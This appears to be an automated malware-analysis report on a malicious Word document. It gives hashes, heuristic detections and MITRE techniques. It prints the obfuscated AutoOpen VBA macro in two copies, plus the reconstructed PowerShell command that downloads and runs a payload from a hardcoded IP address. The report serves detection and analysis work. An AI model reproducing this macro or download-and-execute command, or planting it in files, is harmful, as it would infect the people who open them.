Office (OLE) malware analysis — malicious · 850e23e0cb1dd445

MALICIOUS

Office (OLE)

85.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16

MD5: 2326825dec37a3a44300679e5210f8f3 SHA-1: 87f2830788fce6ef3361624048187dfef64a6f6a SHA-256: 850e23e0cb1dd44570a3f5bb6f85b3935e5c35f69feb31838b44ee3ff8c2973a

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() function to execute a PowerShell command. This command is designed to download and execute a second-stage payload from a hardcoded URL. The reconstructed PowerShell command is: powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://185.189.255.135/payload.exe')". This indicates a downloader or droppper functionality.

Heuristics 7

ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6900 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6900 bytes
SHA-256: `f19d82972c898908cf7d813f5bb524575784b029f07829eb90fb80376957ddaa`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const GUkeBewiCoKPAlESofUniMyVoMeaYfUveL = 0 Sub AutoOpen() On Error Resume Next Dim aujIRZyxSiqosIiOJipiw Choose 6, "gIareMoXaseaAaUDUe", LTrim("aujIRZyxSiqosIiOJipiw"), "gIareMoXaseaAaUDUeaujIRZyxSiqosIiOJipiw" IsError CVErr(9604) Call IsNumeric(9604 - gIareMoXaseaAaUDUe) If LenB(gIareMoXaseaAaUDUe12) > CInt(Hex(9604)) Then StrComp "gIareMoXaseaAaUDUe", "gIareMoXaseaAaUDUe" & aujIRZyxSiqosIiOJipiw End If Dim sAjYiOBYCIWhogIZEaIpopEHigIF Choose 2, "MAiugEkYeQubIHeiukuf", LTrim("sAjYiOBYCIWhogIZEaIpopEHigIF"), "MAiugEkYeQubIHeiukufsAjYiOBYCIWhogIZEaIpopEHigIF" IsError CVErr(1726) Call IsNumeric(1726 - MAiugEkYeQubIHeiukuf) If LenB(MAiugEkYeQubIHeiukuf11) > CInt(Hex(1726)) Then StrComp "MAiugEkYeQubIHeiukuf", "MAiugEkYeQubIHeiukuf" & sAjYiOBYCIWhogIZEaIpopEHigIF End If QEHOBaSiLugejPazyvCiRyQoqObA = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^" Dim ReWYtAZOCoMYLucEpiTWIhEQaBeluTODorADaFUSEmy Choose 3, "hABycAqOpAJidO", LTrim("ReWYtAZOCoMYLucEpiTWIhEQaBeluTODorADaFUSEmy"), "hABycAqOpAJidOReWYtAZOCoMYLucEpiTWIhEQaBeluTODorADaFUSEmy" IsError CVErr(7907) Call IsNumeric(7907 - hABycAqOpAJidO) If LenB(hABycAqOpAJidO12) > CInt(Hex(7907)) Then StrComp "hABycAqOpAJidO", "hABycAqOpAJidO" & ReWYtAZOCoMYLucEpiTWIhEQaBeluTODorADaFUSEmy End If ROkaloPILuTybahUnoxVOgOVizoRPGei = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^M^Q^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^A" Dim LEdyMyRaduWIfAxOKIgWOqaRAJokoMYpUribyd Choose 3, "gomAkYJEmANApAB", LTrim("LEdyMyRaduWIfAxOKIgWOqaRAJokoMYpUribyd"), "gomAkYJEmANApABLEdyMyRaduWIfAxOKIgWOqaRAJokoMYpUribyd" IsError CVErr(7896) Call IsNumeric(7896 - gomAkYJEmANApAB) If LenB(gomAkYJEmANApAB10) > CInt(Hex(7896)) Then StrComp "gomAkYJEmANApAB", "gomAkYJEmANApAB" & LEdyMyRaduWIfAxOKIgWOqaRAJokoMYpUribyd End If WOcECOnokEpAPedUqAxapOsenunikIpiM = "^5^A^G^M^A^M^A^B^l^A^D^I^A^Z^Q^A^x^A^G^E^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^O^Q^B^j^A^D^A^A^Z^Q^A^y^A^G^U^A^M^Q^B^h^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^" Dim ZuryfoaIKOMEsYSIGibYosaxAhOqe Choose 9, "QYhaMAqifyMycIciLoDaiEti", LTrim("ZuryfoaIKOMEsYSIGibYosaxAhOqe"), "QYhaMAqifyMycIciLoDaiEtiZuryfoaIKOMEsYSIGibYosaxAhOqe" IsError CVErr(9887) Call IsNumeric(9887 - QYhaMAqifyMycIciLoDaiEti) If LenB(QYhaMAqifyMycIciLoDaiEti10) > CInt(Hex(9887)) Then StrComp "QYhaMAqifyMycIciLoDaiEti", "QYhaMAqifyMycIciLoDaiEti" & ZuryfoaIKOMEsYSIGibYosaxAhOqe End If xeDCedDeTElXzUTaHPugo = "d^A^A^=" Dim dYjsIdypgUGosIfEVACUxywYwUHyCYGOT Choose 3, "RiMIxezmiNEqivYvOvA", LTrim("dYjsIdypgUGosIfEVACUxywYwUHyCYGOT"), "RiMIxezmiNEqivYvOvAdYjsIdypgUGosIfEVACUxywYwUHy ... (truncated)

SHA-256: f19d82972c898908cf7d813f5bb524575784b029f07829eb90fb80376957ddaa

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const GUkeBewiCoKPAlESofUniMyVoMeaYfUveL = 0
Sub AutoOpen()
On Error Resume Next
Dim aujIRZyxSiqosIiOJipiw


Choose 6, "gIareMoXaseaAaUDUe", LTrim("aujIRZyxSiqosIiOJipiw"), "gIareMoXaseaAaUDUeaujIRZyxSiqosIiOJipiw"
IsError CVErr(9604)
Call IsNumeric(9604 - gIareMoXaseaAaUDUe)

If LenB(gIareMoXaseaAaUDUe12) > CInt(Hex(9604)) Then
   StrComp "gIareMoXaseaAaUDUe", "gIareMoXaseaAaUDUe" & aujIRZyxSiqosIiOJipiw
End If
Dim sAjYiOBYCIWhogIZEaIpopEHigIF


Choose 2, "MAiugEkYeQubIHeiukuf", LTrim("sAjYiOBYCIWhogIZEaIpopEHigIF"), "MAiugEkYeQubIHeiukufsAjYiOBYCIWhogIZEaIpopEHigIF"
IsError CVErr(1726)
Call IsNumeric(1726 - MAiugEkYeQubIHeiukuf)

If LenB(MAiugEkYeQubIHeiukuf11) > CInt(Hex(1726)) Then
   StrComp "MAiugEkYeQubIHeiukuf", "MAiugEkYeQubIHeiukuf" & sAjYiOBYCIWhogIZEaIpopEHigIF
End If
QEHOBaSiLugejPazyvCiRyQoqObA = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"
Dim ReWYtAZOCoMYLucEpiTWIhEQaBeluTODorADaFUSEmy


Choose 3, "hABycAqOpAJidO", LTrim("ReWYtAZOCoMYLucEpiTWIhEQaBeluTODorADaFUSEmy"), "hABycAqOpAJidOReWYtAZOCoMYLucEpiTWIhEQaBeluTODorADaFUSEmy"
IsError CVErr(7907)
Call IsNumeric(7907 - hABycAqOpAJidO)

If LenB(hABycAqOpAJidO12) > CInt(Hex(7907)) Then
   StrComp "hABycAqOpAJidO", "hABycAqOpAJidO" & ReWYtAZOCoMYLucEpiTWIhEQaBeluTODorADaFUSEmy
End If

ROkaloPILuTybahUnoxVOgOVizoRPGei = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^M^Q^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^A"
Dim LEdyMyRaduWIfAxOKIgWOqaRAJokoMYpUribyd


Choose 3, "gomAkYJEmANApAB", LTrim("LEdyMyRaduWIfAxOKIgWOqaRAJokoMYpUribyd"), "gomAkYJEmANApABLEdyMyRaduWIfAxOKIgWOqaRAJokoMYpUribyd"
IsError CVErr(7896)
Call IsNumeric(7896 - gomAkYJEmANApAB)

If LenB(gomAkYJEmANApAB10) > CInt(Hex(7896)) Then
   StrComp "gomAkYJEmANApAB", "gomAkYJEmANApAB" & LEdyMyRaduWIfAxOKIgWOqaRAJokoMYpUribyd
End If


WOcECOnokEpAPedUqAxapOsenunikIpiM = "^5^A^G^M^A^M^A^B^l^A^D^I^A^Z^Q^A^x^A^G^E^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^O^Q^B^j^A^D^A^A^Z^Q^A^y^A^G^U^A^M^Q^B^h^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^"


Dim ZuryfoaIKOMEsYSIGibYosaxAhOqe


Choose 9, "QYhaMAqifyMycIciLoDaiEti", LTrim("ZuryfoaIKOMEsYSIGibYosaxAhOqe"), "QYhaMAqifyMycIciLoDaiEtiZuryfoaIKOMEsYSIGibYosaxAhOqe"
IsError CVErr(9887)
Call IsNumeric(9887 - QYhaMAqifyMycIciLoDaiEti)

If LenB(QYhaMAqifyMycIciLoDaiEti10) > CInt(Hex(9887)) Then
   StrComp "QYhaMAqifyMycIciLoDaiEti", "QYhaMAqifyMycIciLoDaiEti" & ZuryfoaIKOMEsYSIGibYosaxAhOqe
End If
xeDCedDeTElXzUTaHPugo = "d^A^A^="
Dim dYjsIdypgUGosIfEVACUxywYwUHyCYGOT


Choose 3, "RiMIxezmiNEqivYvOvA", LTrim("dYjsIdypgUGosIfEVACUxywYwUHyCYGOT"), "RiMIxezmiNEqivYvOvAdYjsIdypgUGosIfEVACUxywYwUHy
... (truncated)

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